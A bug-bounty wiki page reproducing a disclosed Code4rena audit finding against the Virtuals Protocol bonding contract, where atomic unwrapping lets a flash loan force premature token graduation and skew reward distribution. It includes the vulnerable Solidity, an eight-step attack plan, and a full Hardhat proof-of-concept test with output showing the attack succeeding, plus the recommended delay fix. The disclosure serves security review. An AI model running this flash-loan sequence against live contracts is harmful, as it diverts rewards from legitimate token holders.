Skip to content
Race condition Audit finding Advanced

Launched tokens are vulnerable to flashloan attacks forcing premature graduation, allowing reward manipulation

The bonding contract allows a token to graduate and be unwrapped atomically, so an attacker can use a flash loan to buy the token, trigger graduation, unwrap to agent tokens, and sell them back in the same transaction. This forces premature graduation and manipulates reward distribution, diluting rewards for legitimate tokens.

oakcobalt Follow with mbuba666

Originally disclosed on Code4rena

Submitted by oakcobalt, also found by mbuba666

Bonding.sol only allows a launched memecoin to graduate when gradThreshold is met and enough liquidity (assetToken balance) is gained through the investor community trading. This ensures the price stability of the agentToken upon graduation.

The vulnerability is that current implementation allows the investor community trading to be bypassed by flashloan attack. A malicious founder or founder controlled account can force graduate a token with a flashloan and gain exposure to reward emissions.

The key attack vector: buy() memecoin with flashloaned virtual tokens (e.g. from already deployed uniswapV2pairs or other pools with virtual) → sell atomically in newly deployed uniswapV2pair. This forces graduation of a freshly deployed memecoin with no community support.

The key vulnerable code that enable the attack is upwrapToken() which allows converting memecoins to agentTokens do not have any time-based restrictions, allowing atomic unwrap upon graduation. A flashloan loop can be closed atomically through unwrapToken.

//contracts/fun/Bonding.sol
    function unwrapToken(address srcTokenAddress, address[] memory accounts) public {
        Token memory info = tokenInfo[srcTokenAddress];
        require(info.tradingOnUniswap, "Token is not graduated yet");

        FERC20 token = FERC20(srcTokenAddress);
        IERC20 agentToken = IERC20(info.agentToken);
        address pairAddress = factory.getPair(srcTokenAddress, router.assetToken());
        for (uint i = 0; i < accounts.length; i++) {
            address acc = accounts[i];
            uint256 balance = token.balanceOf(acc);
            if (balance > 0) {
                token.burnFrom(acc, balance);
|>              agentToken.transferFrom(pairAddress, acc, balance);//@audit no time restrictions, unwrapToken allows atomic agentToken conversion upon graduation
            }
        }
    }

https://github.com/code-423n4/2025-04-virtuals-protocol/blob/084a1b46749e2a9924ecc8c06982a40cc8b3dd5a/contracts/fun/Bonding.sol#L416-L417

Flows: flashswap/flashloan -> bonding::buy -> bonding::unwrapToken -> uniswapV2router::swapExactTokensForETHSupportingFeeOnTransferTokens -> paypack flashswap/flashloan

Impact

  1. Premature graduation: allowing easy price manipulation through flashloan that bypass community support and liquidity.
  2. Reward distribution is manipulated: forced graduated token will have Lp values (getLPValue()) and eligible for reward shares, reducing other legitimate agentToken rewards. Malicious founder gains rewards and dilute other agentToken’s rewards.
  3. Market manipulation: the deployed uniswapV2pair through flash loan attack doesn’t have intended liquidity and agent token price stability because uniswapV2pair has unbalanced reserves.

Recommended mitigation steps

Consider enforcing a delay in upwrapToken such that flash loan cannot be closed atomically.

Proof of Concept

Suppose founder launched Cat memcoin from bonding.sol. Attacker can be a founder or a founder controlled account.

  1. Attacker takes out flashloan (virtual token).
  2. Attacker uses flashloan to buy memecoin and trigger graduation.
  3. Unwrap tokens to receive agent tokens.
  4. Trade agent tokens for virtual tokens in Uniswap pair atomically.
  5. Attacker paying back flashloan with traded out virtual tokens (only paying extra fees/tax in trading).
  6. Check that the uniswap LP tokens are automatically staked in veToken.
  7. Delegate to self to be eligible for rewards.
  8. Distribute rewards and verify forced graduated agent token receives allocation.

See added unit test flash loan attack force premature graduation, manipulating rewards in test/bonding.js:

  it.only("flash loan attack force premature graduation, stealing rewards", async function () {
    this.timeout(120000); // 120 seconds

    // Setup test environment
    const { virtualToken, bonding, fRouter, agentFactory, agentNft } =
      await loadFixture(deployBaseContracts);
    const { founder, trader, treasury, deployer } = await getAccounts();

    // Initial setup - founder launches a memecoin
    await virtualToken.mint(founder.address, parseEther("200"));
    await virtualToken
      .connect(founder)
      .approve(bonding.target, parseEther("1000"));

    // Launch the token
    await bonding
      .connect(founder)
      .launchFor(
        "Cat",
        "$CAT",
        [0, 1, 2],
        "cat memecoin",
        "",
        ["", "", "", ""],
        parseEther("200"),
        founder.address
      );

    const tokenInfo = await bonding.tokenInfo(await bonding.tokenInfos(0));
    console.log("Token created:", tokenInfo.token);

    // Step 1: Attacker takes out flashloan (virtual token)
    // Use direct mint to mock flashloan interaction
    const flashLoanAmount = parseEther("100000");
    await virtualToken.mint(trader.address, flashLoanAmount);
    console.log(
      "Flash loan acquired:",
      formatEther(flashLoanAmount),
      "VIRTUAL"
    );

    // Step 2: Attacker uses flashloan to buy memecoin and trigger graduation
    await virtualToken.connect(trader).approve(fRouter.target, flashLoanAmount);

    // Record token balances before attack
    const initialBalances = {
      traderVirtualBefore: await virtualToken.balanceOf(trader.address),
      pairVirtualBefore: await virtualToken.balanceOf(tokenInfo.pair),
      founderCatBefore: await ethers
        .getContractAt("IERC20", tokenInfo.token)
        .then((token) => token.balanceOf(founder.address)),
    };

    console.log("Initial balances:");
    console.log(
      "- Trader VIRTUAL:",
      formatEther(initialBalances.traderVirtualBefore)
    );
    console.log(
      "- Pair VIRTUAL:",
      formatEther(initialBalances.pairVirtualBefore)
    );
    console.log(
      "- Founder CAT:",
      formatEther(initialBalances.founderCatBefore)
    );

    // Buy memecoin with flashloaned funds to trigger graduation
    await expect(
      bonding.connect(trader).buy(parseEther("35000"), tokenInfo.token)
    ).to.emit(bonding, "Graduated");

    // Check if token graduated
    const tokenInfoAfterGraduation = await bonding.tokenInfo(
      bonding.tokenInfos(0)
    );
    expect(tokenInfoAfterGraduation.agentToken).to.not.equal(
      "0x0000000000000000000000000000000000000000"
    );
    expect(tokenInfoAfterGraduation.tradingOnUniswap).to.equal(true);
    console.log("Agent token created:", tokenInfoAfterGraduation.agentToken);

    // Record trader's CAT token balance
    const traderCatBalance = await ethers
      .getContractAt("IERC20", tokenInfo.token)
      .then((token) => token.balanceOf(trader.address));
    console.log("Trader CAT balance:", formatEther(traderCatBalance));

    // Step 3: Unwrap tokens to receive agent tokens
    await bonding
      .connect(trader)
      .unwrapToken(tokenInfo.token, [trader.address]);

    // Check agent token balance after unwrapping
    const agentToken = await ethers.getContractAt(
      "IERC20",
      tokenInfoAfterGraduation.agentToken
    );
    const traderAgentTokenBalance = await agentToken.balanceOf(trader.address);
    console.log(
      "Trader agent token balance after unwrap:",
      formatEther(traderAgentTokenBalance)
    );

    // Step 4: Trade agent tokens for virtual tokens in Uniswap pair
    // We need to get uniswap pair and router
    const uniswapFactory = await ethers.getContractAt(
      "IUniswapV2Factory",
      process.env.UNISWAP_FACTORY
    );
    const uniswapPair = await uniswapFactory.getPair(
      virtualToken.target,
      tokenInfoAfterGraduation.agentToken
    );
    console.log("Uniswap pair:", uniswapPair);

    const uniswapRouter = await ethers.getContractAt(
      "IUniswapV2Router02",
      process.env.UNISWAP_ROUTER
    );

    // Approve agent tokens to be spent by router
    await agentToken
      .connect(trader)
      .approve(uniswapRouter.target, traderAgentTokenBalance);

    // Swap agent tokens for virtual tokens
    await uniswapRouter
      .connect(trader)
      .swapExactTokensForTokensSupportingFeeOnTransferTokens(
        traderAgentTokenBalance,
        0, // Accept any amount of tokens
        [tokenInfoAfterGraduation.agentToken, virtualToken.target],
        trader.address,
        Math.floor(Date.now() / 1000) + 60 * 20 // 20 minutes from now
      );

    // Step 5: Check balances after swap to verify flash loan repayment
    const finalVirtualBalance = await virtualToken.balanceOf(trader.address);
    console.log(
      "Final trader VIRTUAL balance:",
      formatEther(finalVirtualBalance)
    );

    // Verify that trader has enough to repay flash loan
    console.log("Flash loan amount:", formatEther(flashLoanAmount));
    console.log(
      "Difference:",
      ((flashLoanAmount - finalVirtualBalance) * 100n) / flashLoanAmount
    );

    // A typical flash loan would require the balance to be >= the loan amount
    // Due to fees and taxes, there should be a small difference

    // Step 6: Check if the uniswap LP tokens are automatically staked in veToken

    // Since this is the first agent created, its ID should be 1
    const virtualId = 1;
    const lpInfo = await agentNft.virtualLP(virtualId);

    console.log("Virtual ID:", virtualId);
    console.log("LP token:", lpInfo.pool);
    console.log("veToken:", lpInfo.veToken);

    // Check LP staking
    const veToken = await ethers.getContractAt("AgentVeToken", lpInfo.veToken);
    const founderVeTokenBalance = await veToken.balanceOf(founder.address);
    console.log("founder veToken balance:", formatEther(founderVeTokenBalance));

    // Step 7: Delegate to self to be eligible for rewards
    if (founderVeTokenBalance > 0) {
      await veToken.connect(founder).delegate(founder.address);
      console.log("Trader delegated to self");
    }

    // Step 8: Distribute rewards and verify allocation
    // Deploy rewards contract to verify reward allocation
    console.log("Setting up rewards contract for validation...");
    const rewardsFactory = await ethers.getContractFactory("AgentRewardV3");
    const rewards = await upgrades.deployProxy(rewardsFactory, [
      virtualToken.target,
      agentNft.target,
      {
        protocolShares: 1000, // 10%
        stakerShares: 9000, // 90%
      },
    ]);
    await rewards.waitForDeployment();

    // Grant governance role to deployer
    await rewards.grantRole(await rewards.GOV_ROLE(), deployer.address);

    // Check LP value (should be based on VIRTUAL token in the pool)
    const lpValue = await rewards.getLPValue(virtualId);
    console.log("LP value for virtualId 1:", formatEther(lpValue));

    // Mint some VIRTUAL tokens to distribute as rewards
    const rewardAmount = parseEther("10000"); // 10,000 VIRTUAL tokens as rewards
    await virtualToken.mint(deployer.address, rewardAmount);
    await virtualToken.approve(rewards.target, rewardAmount);

    // Distribute rewards
    await rewards.distributeRewards(rewardAmount, [virtualId], false);
    console.log("Rewards distributed");

    // Check rewards allocation
    const agentRewardCount = await rewards.agentRewardCount(virtualId);
    console.log("Agent reward count:", agentRewardCount.toString());

    // Verify rewards were allocated
    expect(agentRewardCount).to.be.gt(0);

    // Access the first agent reward directly
    const agentReward = await rewards.getAgentReward(virtualId, 0);
    console.log("Agent reward details:");
    console.log("- Staker Amount:", formatEther(agentReward.stakerAmount));
    console.log(
      "- Validator Amount:",
      formatEther(agentReward.validatorAmount)
    );
    console.log("- Total Staked:", formatEther(agentReward.totalStaked));

    // Both stakers and validators receive rewards from the manipulated LP value
    expect(agentReward.stakerAmount).to.be.gt(0);
    expect(agentReward.validatorAmount).to.be.gt(0);
  });

See test results:

  Bonding
Token created: 0xeC05bC6e8B4DEc3299fA25BDFBd44A43Db415995
Flash loan acquired: 100000.0 VIRTUAL
Initial balances:
- Trader VIRTUAL: 100000.0
- Pair VIRTUAL: 100.0
- Founder CAT: 32258064.516129032258064517
Agent token created: 0x08BD7109ed9c72771A4e494D155e2F31C65205D9
Trader CAT balance: 889001778.003556007112014224
Trader agent token balance after unwrap: 889001778.003556007112014224
Uniswap pair: 0x23457Bea4813642d6f3d4BFDDD461d7f738639cF
Final trader VIRTUAL balance: 97209.656939017097749081
Flash loan amount: 100000.0
Difference: 2n
Virtual ID: 1
LP token: 0x23457Bea4813642d6f3d4BFDDD461d7f738639cF
veToken: 0x75D4c71311994307616350d38f2E832A57440da5
founder veToken balance: 1662461.882480317200970858
Trader delegated to self
Setting up rewards contract for validation...
LP value for virtualId 1: 2890.343060982902250919
Rewards distributed
Agent reward count: 1
Agent reward details:
- Staker Amount: 9000.0
- Validator Amount: 1000.0
- Total Staked: 1662461.882480317200970858
    ✔ flash loan attack force premature graduation, manipulating rewards (1053ms)

1 passing (1s)

Note: in order to run tests, I forked eth mainnet in hardhat network and used mainnet UNISWAP_ROUTER and UNISWAP_FACTORY addresses. I also tweaked .env and hardhat config accordingly.

Run test: npx hardhat test test/bonding.js.


The original report as published on Code4rena, by oakcobalt. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the unwrapToken function has no time-based restriction, allowing the entire buy-unwrap-sell cycle to be completed atomically within a flash loan.

What the attacker needed

Attacker is founder or controls founder account; access to flash loan of virtual tokens; token launched on bonding contract

The fix

A delay should be enforced in unwrapToken so that a flash loan cannot be closed atomically.

How it was found

  1. Attacker takes out a flash loan of virtual tokens.
  2. Attacker uses the flash loan to buy the memecoin and trigger graduation.
  3. Attacker unwraps the memecoin to receive agent tokens.
  4. Attacker trades agent tokens for virtual tokens in the Uniswap pair.
  5. Attacker repays the flash loan with the traded virtual tokens.
  6. Attacker delegates to self and receives reward allocation for the forced-graduated token.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A flash loan lets someone borrow a huge amount of cryptocurrency for a single transaction, as long as they return it before the transaction ends. Here, the attacker borrows tokens, uses them to push a new memecoin over its graduation threshold, immediately converts the memecoin into reward-earning tokens, sells those, and repays the loan. Because everything happens in one transaction, the system cannot tell that the graduation was artificial.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by oakcobalt

View all

50 more disclosed reports, best first.

More from Virtuals Protocol

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.